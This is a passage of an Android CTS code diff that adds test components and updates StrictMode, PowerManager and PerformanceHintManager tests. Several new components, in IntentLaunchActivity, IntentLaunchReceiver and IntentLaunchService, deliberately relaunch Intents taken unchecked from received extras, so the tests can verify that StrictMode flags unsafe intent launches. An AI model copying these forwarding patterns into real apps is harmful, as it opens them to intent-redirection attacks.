+                ACTION_DATA_COPY_FROM_DELIVERED_INTENT_WITH_UNPARCELED_EXTRAS);
+    }
+
+    /**
+     * Returns an Intent with the specified {@code action} set and a parceled Intent with data in
+     * the extras.
+     */
+    private static Intent getTestIntentWithExtrasInParceledIntent(Context context, String action) {
+        Intent intent = getTestIntent(context, action);
+        Intent innerIntent = intent.getParcelableExtra(EXTRA_INNER_INTENT);
+        // Add an extra to the Intent so that it contains the extras Bundle; the data itself is not
+        // important, just the fact that there is data to be copied without sanitation / validation.
+        innerIntent.putExtra(EXTRA_TEST_KEY, "TEST_VALUE");
+        return intent;
+    }
+
+    /**
+     * Returns an Intent containing an Intent encoded as a URI in the extras; the returned Intent
+     * can be used to start this Activity and verify the StrictMode UnsafeIntentLaunch violation is
+     * reported as expected when launching an Intent parsed from a URI.
+     */
+    public static Intent getUnsafeIntentFromUriLaunchTestIntent(Context context) {
+        return getTestIntentWithUriIntentInExtras(context, ACTION_UNSAFE_INTENT_FROM_URI_LAUNCH);
+    }
+
+    /**
+     * Returns an Intent containing an Intent encoded as a URI in the extras; the returned Intent
+     * can be used to start this Activity and verify the StrictMode UnsafeIntentLaunch violation is
+     * not reported when launching an Intent parsed from a URI with the browsable category and
+     * without an explicit component.
+     */
+    public static Intent getSafeIntentFromUriLaunchTestIntent(Context context) {
+        return getTestIntentWithUriIntentInExtras(context, ACTION_SAFE_INTENT_FROM_URI_LAUNCH);
+    }
+
+    /**
+     * Returns an Intent with the specified {@code action} set and containing an Intent encoded as a
+     * URI in the extras.
+     */
+    private static Intent getTestIntentWithUriIntentInExtras(Context context, String action) {
+        Intent intent = getTestIntent(context, action);
+        Intent innerIntent = intent.getParcelableExtra(EXTRA_INNER_INTENT);
+        innerIntent.addCategory(Intent.CATEGORY_BROWSABLE);
+        innerIntent.setAction(ACTION_BROWSABLE_INTENT_LAUNCH);
+        innerIntent.setPackage(context.getPackageName());
+        String intentUriString = innerIntent.toUri(Intent.URI_ANDROID_APP_SCHEME);
+        intent.putExtra(EXTRA_INNER_INTENT_URI_STRING, intentUriString);
+        intent.removeExtra(EXTRA_INNER_INTENT);
+        return intent;
+    }
+
+    /**
+     * Returns an Intent with the specified {@code action} set and a parceled Intent.
+     */
+    private static Intent getTestIntent(Context context, String action) {
+        Intent intent = new Intent(context, IntentLaunchActivity.class);
+        intent.setAction(action);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        Intent innerIntent = new Intent(context, SimpleTestActivity.class);
+        intent.putExtra(EXTRA_INNER_INTENT, innerIntent);
+        return intent;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Intent deliveredIntent = getIntent();
+        Intent innerIntent = deliveredIntent.getParcelableExtra(EXTRA_INNER_INTENT);
+        String action = deliveredIntent.getAction();
+        switch (action) {
+            case ACTION_UNSAFE_INTENT_LAUNCH: {
+                if (innerIntent != null) {
+                    startActivity(innerIntent);
+                }
+                break;
+            }
+            case ACTION_UNSAFE_DATA_COPY_FROM_INTENT: {
+                if (innerIntent != null) {
+                    // Instantiate a new Intent to be used as the target of the unfiltered data
+                    // copy.
+                    Intent intent = new Intent(getApplicationContext(), SimpleTestActivity.class);
+                    intent.putExtras(innerIntent);
+                    startActivity(intent);
+                }
+                break;
+            }
+            case ACTION_UNSAFE_DATA_COPY_FROM_EXTRAS: {
+                if (innerIntent != null) {
+                    Intent intent = new Intent(getApplicationContext(), SimpleTestActivity.class);
+                    intent.putExtras(innerIntent.getExtras());
+                    startActivity(intent);
+                }
+                break;
+            }
+            case ACTION_DATA_COPY_FROM_DELIVERED_INTENT_WITH_UNPARCELED_EXTRAS: {
+                Intent intent = new Intent(getApplicationContext(), SimpleTestActivity.class);
+                intent.putExtras(deliveredIntent);
+                startActivity(intent);
+                break;
+            }
+            case ACTION_UNSAFE_INTENT_FROM_URI_LAUNCH:
+            case ACTION_SAFE_INTENT_FROM_URI_LAUNCH: {
+                String intentUriString = deliveredIntent.getStringExtra(
+                        EXTRA_INNER_INTENT_URI_STRING);
+                if (intentUriString != null) {
+                    try {
+                        Intent intent = Intent.parseUri(intentUriString,
+                                Intent.URI_ANDROID_APP_SCHEME);
+                        // If this is a safe intent from URI launch then clear the component as a
+                        // browsable Intent without a component set should not result in a
+                        // violation.
+                        if (ACTION_SAFE_INTENT_FROM_URI_LAUNCH.equals(action)) {
+                            intent.setComponent(null);
+                        }
+                        startActivity(intent);
+                    } catch (URISyntaxException e) {
+                        Log.e(TAG, "Exception parsing URI: " + intentUriString, e);
+                    }
+                }
+                break;
+            }
+            default:
+                throw new IllegalArgumentException(
+                        "An unexpected action of " + deliveredIntent.getAction()
+                                + " was specified");
+        }
+        finish();
+    }
+}
diff --git a/tests/tests/os/src/android/os/cts/IntentLaunchReceiver.java b/tests/tests/os/src/android/os/cts/IntentLaunchReceiver.java
new file mode 100644
index 0000000..155d8c2
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/IntentLaunchReceiver.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+/**
+ * Receiver used to verify an UnsafeIntentLaunch StrictMode violation is reported when an Intent
+ * is unparceled from the delivered Intent and used to send another broadcast.
+ */
+public class IntentLaunchReceiver extends BroadcastReceiver {
+    public static final String INNER_INTENT_KEY = "inner-intent";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Intent innerIntent = intent.getParcelableExtra(INNER_INTENT_KEY);
+        if (innerIntent != null) {
+            context.sendBroadcast(innerIntent);
+        }
+    }
+}
diff --git a/tests/tests/os/src/android/os/cts/IntentLaunchService.java b/tests/tests/os/src/android/os/cts/IntentLaunchService.java
new file mode 100644
index 0000000..aa3e722
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/IntentLaunchService.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import android.app.Service;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+
+/**
+ * Service used to verify an UnsafeIntentLaunch StrictMode violation is reported when an Intent
+ * is unparceled from the delivered Intent and used to start / bind to another Service.
+ */
+public class IntentLaunchService extends Service {
+    private static final String INNER_INTENT_KEY = "inner-intent";
+
+    private static final ServiceConnection SERVICE_CONNECTION = new ServiceConnection() {
+        @Override
+        public void onServiceConnected(ComponentName className, IBinder service) {}
+
+        @Override
+        public void onServiceDisconnected(ComponentName arg0) {}
+    };
+
+    /**
+     * Returns an instance of a ServiceConnection that can be used when binding to this Service.
+     */
+    public static ServiceConnection getServiceConnection() {
+        return SERVICE_CONNECTION;
+    }
+
+    /**
+     * Returns an Intent containing a parceled inner Intent that can be used to start / bind to this
+     * Service and verify the StrictMode UnsafeIntentLaunch check is reported as expected.
+     */
+    public static Intent getTestIntent(Context context) {
+        Intent intent = new Intent(context, IntentLaunchService.class);
+        Intent innerIntent = new Intent(context, LocalService.class);
+        intent.putExtra(INNER_INTENT_KEY, innerIntent);
+        return intent;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        Intent innerIntent = intent.getParcelableExtra(INNER_INTENT_KEY);
+        if (innerIntent != null) {
+            bindService(innerIntent, SERVICE_CONNECTION, Context.BIND_AUTO_CREATE);
+        }
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        Intent innerIntent = intent.getParcelableExtra(INNER_INTENT_KEY);
+        if (innerIntent != null) {
+            startService(innerIntent);
+        }
+        stopService(intent);
+        return START_NOT_STICKY;
+    }
+}
diff --git a/tests/tests/os/src/android/os/cts/PerformanceHintManagerTest.java b/tests/tests/os/src/android/os/cts/PerformanceHintManagerTest.java
new file mode 100644
index 0000000..b47ebe8
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/PerformanceHintManagerTest.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertThrows;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNotNull;
+
+import android.os.PerformanceHintManager;
+import android.os.PerformanceHintManager.Session;
+import android.os.Process;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class PerformanceHintManagerTest {
+    private final long DEFAULT_TARGET_NS = 16666666L;
+    private PerformanceHintManager mPerformanceHintManager;
+
+    @Before
+    public void setUp() {
+        mPerformanceHintManager =
+                InstrumentationRegistry.getInstrumentation().getContext().getSystemService(
+                        PerformanceHintManager.class);
+    }
+
+    private Session createSession() {
+        return mPerformanceHintManager.createHintSession(
+                new int[]{Process.myPid()}, DEFAULT_TARGET_NS);
+    }
+
+    @Test
+    public void testCreateHintSession() {
+        Session a = createSession();
+        Session b = createSession();
+        if (a == null) {
+            assertNull(b);
+        } else {
+            assertNotEquals(a, b);
+        }
+    }
+
+    @Test
+    public void testGetPreferredUpdateRateNanos() {
+        if (createSession() != null) {
+            assertTrue(mPerformanceHintManager.getPreferredUpdateRateNanos() > 0);
+        } else {
+            assertEquals(-1, mPerformanceHintManager.getPreferredUpdateRateNanos());
+        }
+    }
+
+    @Test
+    public void testUpdateTargetWorkDuration() {
+        Session s = createSession();
+        assumeNotNull(s);
+        s.updateTargetWorkDuration(100);
+    }
+
+    @Test
+    public void testUpdateTargetWorkDurationWithNegativeDuration() {
+        Session s = createSession();
+        assumeNotNull(s);
+        assertThrows(IllegalArgumentException.class, () -> {
+            s.updateTargetWorkDuration(-1);
+        });
+    }
+
+    @Test
+    public void testReportActualWorkDuration() {
+        Session s = createSession();
+        assumeNotNull(s);
+        s.updateTargetWorkDuration(100);
+        s.reportActualWorkDuration(1);
+        s.reportActualWorkDuration(100);
+        s.reportActualWorkDuration(1000);
+    }
+
+    @Test
+    public void testReportActualWorkDurationWithIllegalArgument() {
+        Session s = createSession();
+        assumeNotNull(s);
+        s.updateTargetWorkDuration(100);
+        assertThrows(IllegalArgumentException.class, () -> {
+            s.reportActualWorkDuration(-1);
+        });
+    }
+
+    @Test
+    public void testCloseHintSession() {
+        Session s = createSession();
+        assumeNotNull(s);
+        s.close();
+    }
+}
diff --git a/tests/tests/os/src/android/os/cts/PowerManagerTest.java b/tests/tests/os/src/android/os/cts/PowerManagerTest.java
index 0d9b71f..bbdeb1d 100644
--- a/tests/tests/os/src/android/os/cts/PowerManagerTest.java
+++ b/tests/tests/os/src/android/os/cts/PowerManagerTest.java
@@ -18,22 +18,32 @@
 
 import android.content.ContentResolver;
 import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
 import android.os.PowerManager;
 import android.os.PowerManager.WakeLock;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings.Global;
 import android.test.AndroidTestCase;
+
 import com.android.compatibility.common.util.BatteryUtils;
+import com.android.compatibility.common.util.CallbackAsserter;
 import com.android.compatibility.common.util.SystemUtil;
+
 import org.junit.After;
 import org.junit.Before;
 
+import java.time.Duration;
+
 @AppModeFull(reason = "Instant Apps don't have the WRITE_SECURE_SETTINGS permission "
         + "required in tearDown for Global#putInt")
 public class PowerManagerTest extends AndroidTestCase {
     private static final String TAG = "PowerManagerTest";
     public static final long TIME = 3000;
     public static final int MORE_TIME = 300;
+    private static final int BROADCAST_TIMEOUT_SECONDS = 70;
+    private static final Duration LONG_DISCHARGE_DURATION = Duration.ofMillis(2000);
+    private static final Duration SHORT_DISCHARGE_DURATION = Duration.ofMillis(1000);
 
     private int mInitialPowerSaverMode;
     private int mInitialDynamicPowerSavingsEnabled;
@@ -124,4 +134,64 @@
                     Global.DYNAMIC_POWER_SAVINGS_DISABLE_THRESHOLD, 0));
         });
     }
+
+    public void testPowerManager_batteryDischargePrediction() throws Exception {
+        final PowerManager manager = BatteryUtils.getPowerManager();
+
+        if (!BatteryUtils.hasBattery()) {
+            assertNull(manager.getBatteryDischargePrediction());
+            return;
+        }
+
+        // Unplug to ensure the plugged in broadcast is sent.
+        BatteryUtils.runDumpsysBatteryUnplug();
+
+        // Plugged in. No prediction should be given.
+        final CallbackAsserter pluggedBroadcastAsserter = CallbackAsserter.forBroadcast(
+                new IntentFilter(Intent.ACTION_POWER_CONNECTED));
+        BatteryUtils.runDumpsysBatterySetPluggedIn(true);
+        pluggedBroadcastAsserter.assertCalled("Didn't get power connected broadcast",
+                BROADCAST_TIMEOUT_SECONDS);
+        assertNull(manager.getBatteryDischargePrediction());
+
+        // Not plugged in. At the very least, the basic discharge estimation should be returned.
+        final CallbackAsserter unpluggedBroadcastAsserter = CallbackAsserter.forBroadcast(
+                new IntentFilter(Intent.ACTION_POWER_DISCONNECTED));
+        BatteryUtils.runDumpsysBatteryUnplug();
+        unpluggedBroadcastAsserter.assertCalled("Didn't get power disconnected broadcast",
+                BROADCAST_TIMEOUT_SECONDS);
+        assertNotNull(manager.getBatteryDischargePrediction());
+
+        CallbackAsserter predictionChangedBroadcastAsserter = CallbackAsserter.forBroadcast(
+                new IntentFilter(PowerManager.ACTION_ENHANCED_DISCHARGE_PREDICTION_CHANGED));
+        setDischargePrediction(LONG_DISCHARGE_DURATION, true);
+        assertDischargePrediction(LONG_DISCHARGE_DURATION, true);
+        predictionChangedBroadcastAsserter.assertCalled("Prediction changed broadcast not received",
+                BROADCAST_TIMEOUT_SECONDS);
+
+
+        predictionChangedBroadcastAsserter = CallbackAsserter.forBroadcast(
+                new IntentFilter(PowerManager.ACTION_ENHANCED_DISCHARGE_PREDICTION_CHANGED));
+        setDischargePrediction(SHORT_DISCHARGE_DURATION, false);
+        assertDischargePrediction(SHORT_DISCHARGE_DURATION, false);
+        predictionChangedBroadcastAsserter.assertCalled("Prediction changed broadcast not received",
+                BROADCAST_TIMEOUT_SECONDS);
+    }
+
+    private void setDischargePrediction(Duration d, boolean isPersonalized) {
+        final PowerManager manager = BatteryUtils.getPowerManager();
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> manager.setBatteryDischargePrediction(d, isPersonalized),
+                android.Manifest.permission.BATTERY_PREDICTION);
+    }
+
+    private void assertDischargePrediction(Duration d, boolean isPersonalized) {
+        final PowerManager manager = BatteryUtils.getPowerManager();
+        // We can't pause time so must use >= because the time remaining should decrease as
+        // time goes on.
+        Duration prediction = manager.getBatteryDischargePrediction();
+        assertTrue("Prediction is greater than " + d.toMillis() + "ms: "
+                + prediction, d.toMillis() >= prediction.toMillis());
+        assertEquals(isPersonalized, manager.isBatteryDischargePredictionPersonalized());
+    }
 }
diff --git a/tests/tests/os/src/android/os/cts/SimpleTestActivity.java b/tests/tests/os/src/android/os/cts/SimpleTestActivity.java
index 22c706f..3acbce6 100644
--- a/tests/tests/os/src/android/os/cts/SimpleTestActivity.java
+++ b/tests/tests/os/src/android/os/cts/SimpleTestActivity.java
@@ -16,30 +16,6 @@
 
 package android.os.cts;
 
-import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
-
 import android.app.Activity;
-import android.os.Bundle;
-import android.widget.EditText;
-import android.widget.LinearLayout;
 
-public class SimpleTestActivity extends Activity {
-    private EditText mEditText;
-
-    @Override
-    protected void onCreate(Bundle icicle) {
-        super.onCreate(icicle);
-        mEditText = new EditText(this);
-        final LinearLayout layout = new LinearLayout(this);
-        layout.setOrientation(LinearLayout.VERTICAL);
-        layout.addView(mEditText);
-        setContentView(layout);
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-        getWindow().setSoftInputMode(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
-        mEditText.requestFocus();
-    }
-}
\ No newline at end of file
+public class SimpleTestActivity extends Activity {}
\ No newline at end of file
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index 562fc5e..86c885f 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -17,15 +17,9 @@
 package android.os.cts;
 
 import static android.content.Context.WINDOW_SERVICE;
-import static android.content.pm.PackageManager.FEATURE_INPUT_METHODS;
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
 
-import static com.android.cts.mockime.ImeEventStreamTestUtils.clearAllEvents;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
-
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
@@ -33,16 +27,20 @@
 import static org.junit.Assert.fail;
 
 import android.app.Activity;
+import android.app.Instrumentation;
+import android.app.WallpaperManager;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
 import android.content.ServiceConnection;
+import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
 import android.content.res.Configuration;
 import android.hardware.display.DisplayManager;
-import android.inputmethodservice.InputMethodService;
 import android.net.TrafficStats;
 import android.net.Uri;
+import android.os.Build;
 import android.os.IBinder;
 import android.os.RemoteException;
 import android.os.StrictMode;
@@ -58,27 +56,24 @@
 import android.os.strictmode.LeakedClosableViolation;
 import android.os.strictmode.NetworkViolation;
 import android.os.strictmode.NonSdkApiUsedViolation;
+import android.os.strictmode.UnsafeIntentLaunchViolation;
 import android.os.strictmode.UntaggedSocketViolation;
 import android.os.strictmode.Violation;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AppModeInstant;
+import android.platform.test.annotations.Presubmit;
 import android.system.Os;
 import android.system.OsConstants;
 import android.util.Log;
 import android.view.Display;
+import android.view.GestureDetector;
 import android.view.ViewConfiguration;
 import android.view.WindowManager;
 
-import androidx.annotation.IntDef;
 import androidx.test.core.app.ApplicationProvider;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
-import com.android.cts.mockime.ImeEvent;
-import com.android.cts.mockime.ImeEventStream;
-import com.android.cts.mockime.ImeSettings;
-import com.android.cts.mockime.MockImeSession;
-
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -90,8 +85,6 @@
 import java.io.FileNotFoundException;
 import java.io.FileOutputStream;
 import java.io.IOException;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
 import java.net.HttpURLConnection;
 import java.net.Socket;
 import java.net.URL;
@@ -101,6 +94,7 @@
 import java.util.concurrent.BlockingQueue;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Executors;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 import java.util.function.Consumer;
@@ -110,51 +104,15 @@
 public class StrictModeTest {
     private static final String TAG = "StrictModeTest";
     private static final String REMOTE_SERVICE_ACTION = "android.app.REMOTESERVICE";
-    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(10); // 10 seconds
-    private static final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
+    private static final String UNSAFE_INTENT_LAUNCH = "UnsafeIntentLaunch";
 
     private StrictMode.ThreadPolicy mThreadPolicy;
     private StrictMode.VmPolicy mVmPolicy;
 
-    // TODO(b/160143006): re-enable IMS part test.
-    private static final boolean DISABLE_VERIFY_IMS = false;
-
-    /**
-     * Verify mode to verifying if APIs violates incorrect context violation.
-     *
-     * @see #VERIFY_MODE_GET_DISPLAY
-     * @see #VERIFY_MODE_GET_WINDOW_MANAGER
-     * @see #VERIFY_MODE_GET_VIEW_CONFIGURATION
-     */
-    @Retention(RetentionPolicy.SOURCE)
-    @IntDef(flag = true, value = {
-            VERIFY_MODE_GET_DISPLAY,
-            VERIFY_MODE_GET_WINDOW_MANAGER,
-            VERIFY_MODE_GET_VIEW_CONFIGURATION,
-    })
-    private @interface VerifyMode {}
-
-    /**
-     * Verifies if {@link Context#getDisplay} from {@link InputMethodService} and context created
-     * from {@link InputMethodService#createConfigurationContext(Configuration)} violates
-     * incorrect context violation.
-     */
-    private static final int VERIFY_MODE_GET_DISPLAY = 1;
-    /**
-     * Verifies if get {@link android.view.WindowManager} from {@link InputMethodService} and
-     * context created from {@link InputMethodService#createConfigurationContext(Configuration)}
-     * violates incorrect context violation.
-     *
-     * @see Context#getSystemService(String)
-     * @see Context#getSystemService(Class)
-     */
-    private static final int VERIFY_MODE_GET_WINDOW_MANAGER = 2;
-    /**
-     * Verifies if passing {@link InputMethodService} and context created
-     * from {@link InputMethodService#createConfigurationContext(Configuration)} to
-     * {@link android.view.ViewConfiguration#get(Context)} violates incorrect context violation.
-     */
-    private static final int VERIFY_MODE_GET_VIEW_CONFIGURATION = 3;
+    private Instrumentation mInstrumentation = InstrumentationRegistry.getInstrumentation();
+    private GestureDetector.OnGestureListener mGestureListener =
+            new GestureDetector.SimpleOnGestureListener();
+    private static final String WM_CLASS_NAME = WindowManager.class.getSimpleName();
 
     private Context getContext() {
         return ApplicationProvider.getApplicationContext();
@@ -682,151 +640,520 @@
         }
     }
 
+    @Presubmit
     @Test
-    public void testIncorrectContextUse_GetSystemService() throws Exception {
+    public void testIncorrectContextUse_Application_ThrowViolation() throws Exception {
         StrictMode.setVmPolicy(
                 new StrictMode.VmPolicy.Builder()
                         .detectIncorrectContextUse()
                         .penaltyLog()
                         .build());
 
-        final String wmClassName = WindowManager.class.getSimpleName();
-        inspectViolation(
-                () -> getContext().getApplicationContext().getSystemService(WindowManager.class),
-                info -> assertThat(info.getStackTrace()).contains(
-                        "Tried to access visual service " + wmClassName));
+        final Context applicationContext = getContext();
 
-        final Display display = getContext().getSystemService(DisplayManager.class)
-                .getDisplay(DEFAULT_DISPLAY);
-        final Context visualContext = getContext().createDisplayContext(display)
-                .createWindowContext(TYPE_APPLICATION_OVERLAY, null /* options */);
-        assertNoViolation(() -> visualContext.getSystemService(WINDOW_SERVICE));
+        assertViolation("Tried to access visual service " + WM_CLASS_NAME,
+                () -> applicationContext.getSystemService(WindowManager.class));
 
-        Intent intent = new Intent(getContext(), SimpleTestActivity.class);
-        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        final Activity activity = InstrumentationRegistry.getInstrumentation()
-                .startActivitySync(intent);
-        assertNoViolation(() -> activity.getSystemService(WINDOW_SERVICE));
+        assertViolation(
+                "The API:ViewConfiguration needs a proper configuration.",
+                () -> ViewConfiguration.get(applicationContext));
 
-        // TODO(b/159593676): move the logic to CtsInputMethodTestCases
-        verifyIms(VERIFY_MODE_GET_WINDOW_MANAGER);
-    }
+        mInstrumentation.runOnMainSync(() -> {
+            try {
+                assertViolation("The API:GestureDetector#init needs a proper configuration.",
+                        () -> new GestureDetector(applicationContext, mGestureListener));
+            } catch (Exception e) {
+                fail("Failed because of " + e);
+            }
+        });
 
-    @Test
-    public void testIncorrectContextUse_GetDisplay() throws Exception {
-        StrictMode.setVmPolicy(
-                new StrictMode.VmPolicy.Builder()
-                        .detectIncorrectContextUse()
-                        .penaltyLog()
-                        .build());
-
-        final Display display = getContext().getSystemService(DisplayManager.class)
-                .getDisplay(DEFAULT_DISPLAY);
-
-        final Context displayContext = getContext().createDisplayContext(display);
-        assertNoViolation(displayContext::getDisplay);
-
-        final Context windowContext =
-                displayContext.createWindowContext(TYPE_APPLICATION_OVERLAY, null /* options */);
-        assertNoViolation(windowContext::getDisplay);
-
-        Intent intent = new Intent(getContext(), SimpleTestActivity.class);
-        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-
-        final Activity activity = InstrumentationRegistry.getInstrumentation()
-                .startActivitySync(intent);
-        assertNoViolation(() -> activity.getDisplay());
-
-        // TODO(b/159593676): move the logic to CtsInputMethodTestCases
-        verifyIms(VERIFY_MODE_GET_DISPLAY);
-        try {
-            getContext().getApplicationContext().getDisplay();
-        } catch (UnsupportedOperationException e) {
-            return;
+        if (isWallpaperManagerAccessible()) {
+            assertViolation("Tried to access UI related API:", () ->
+                    applicationContext.getSystemService(WallpaperManager.class)
+                            .getDesiredMinimumWidth());
         }
-        fail("Expected to get incorrect use exception from calling getDisplay() on Application");
     }
 
+    @Presubmit
     @Test
-    public void testIncorrectContextUse_GetViewConfiguration() throws Exception {
+    public void testIncorrectContextUse_DisplayContext_ThrowViolation() throws Exception {
         StrictMode.setVmPolicy(
                 new StrictMode.VmPolicy.Builder()
                         .detectIncorrectContextUse()
                         .penaltyLog()
                         .build());
 
-        final Context baseContext = getContext();
-        assertViolation(
-                "Tried to access UI constants from a non-visual Context:",
-                () -> ViewConfiguration.get(baseContext));
-
-        final Display display = baseContext.getSystemService(DisplayManager.class)
+        final Display display = getContext().getSystemService(DisplayManager.class)
                 .getDisplay(DEFAULT_DISPLAY);
-        final Context displayContext = baseContext.createDisplayContext(display);
+        final Context displayContext = getContext().createDisplayContext(display);
+
+        assertViolation("Tried to access visual service " + WM_CLASS_NAME,
+                () -> displayContext.getSystemService(WindowManager.class));
+
         assertViolation(
-                "Tried to access UI constants from a non-visual Context:",
+                "The API:ViewConfiguration needs a proper configuration.",
                 () -> ViewConfiguration.get(displayContext));
 
-        final Context windowContext =
-                displayContext.createWindowContext(TYPE_APPLICATION_OVERLAY, null /* options */);
+        mInstrumentation.runOnMainSync(() -> {
+            try {
+                assertViolation("The API:GestureDetector#init needs a proper configuration.",
+                        () -> new GestureDetector(displayContext, mGestureListener));
+            } catch (Exception e) {
+                fail("Failed because of " + e);
+            }
+        });
+
+        if (isWallpaperManagerAccessible()) {
+            assertViolation("Tried to access UI related API:", () ->
+                    displayContext.getSystemService(WallpaperManager.class)
+                            .getDesiredMinimumWidth());
+        }
+    }
+
+    @Presubmit
+    @Test
+    public void testIncorrectContextUse_WindowContext_NoViolation() throws Exception {
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectIncorrectContextUse()
+                        .penaltyLog()
+                        .build());
+
+        final Context windowContext = createWindowContext();
+
+        assertNoViolation(() -> windowContext.getSystemService(WINDOW_SERVICE));
+
         assertNoViolation(() -> ViewConfiguration.get(windowContext));
 
-        Intent intent = new Intent(baseContext, SimpleTestActivity.class);
+        mInstrumentation.runOnMainSync(() -> {
+            try {
+                assertNoViolation(() -> new GestureDetector(windowContext, mGestureListener));
+            } catch (Exception e) {
+                fail("Failed because of " + e);
+            }
+        });
+
+        if (isWallpaperManagerAccessible()) {
+            assertNoViolation(() -> windowContext.getSystemService(WallpaperManager.class)
+                    .getDesiredMinimumWidth());
+        }
+    }
+
+    @Presubmit
+    @Test
+    public void testIncorrectContextUse_Activity_NoViolation() throws Exception {
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectIncorrectContextUse()
+                        .penaltyLog()
+                        .build());
+
+        Intent intent = new Intent(getContext(), SimpleTestActivity.class);
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        final Activity activity = InstrumentationRegistry.getInstrumentation()
-                .startActivitySync(intent);
+        final Activity activity = mInstrumentation.startActivitySync(intent);
+
+        assertNoViolation(() -> activity.getSystemService(WINDOW_SERVICE));
+
         assertNoViolation(() -> ViewConfiguration.get(activity));
 
-        // TODO(b/159593676): move the logic to CtsInputMethodTestCases
-        verifyIms(VERIFY_MODE_GET_VIEW_CONFIGURATION);
-    }
-
-    // TODO(b/159593676): move the logic to CtsInputMethodTestCases
-    /**
-     * Verify if APIs violates incorrect context violations by {@code mode}.
-     *
-     * @see VerifyMode
-     */
-    private void verifyIms(@VerifyMode int mode) throws Exception {
-        // If devices do not support installable IMEs, finish the test gracefully. We don't use
-        // assumeTrue here because we do pass some cases, so showing "pass" instead of "skip" makes
-        // sense here.
-        // TODO(b/160143006): re-enable IMS part test.
-        if (!supportsInstallableIme() || DISABLE_VERIFY_IMS) {
-            return;
-        }
-
-        try (final MockImeSession imeSession = MockImeSession.create(getContext(),
-                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
-                new ImeSettings.Builder().setStrictModeEnabled(true))) {
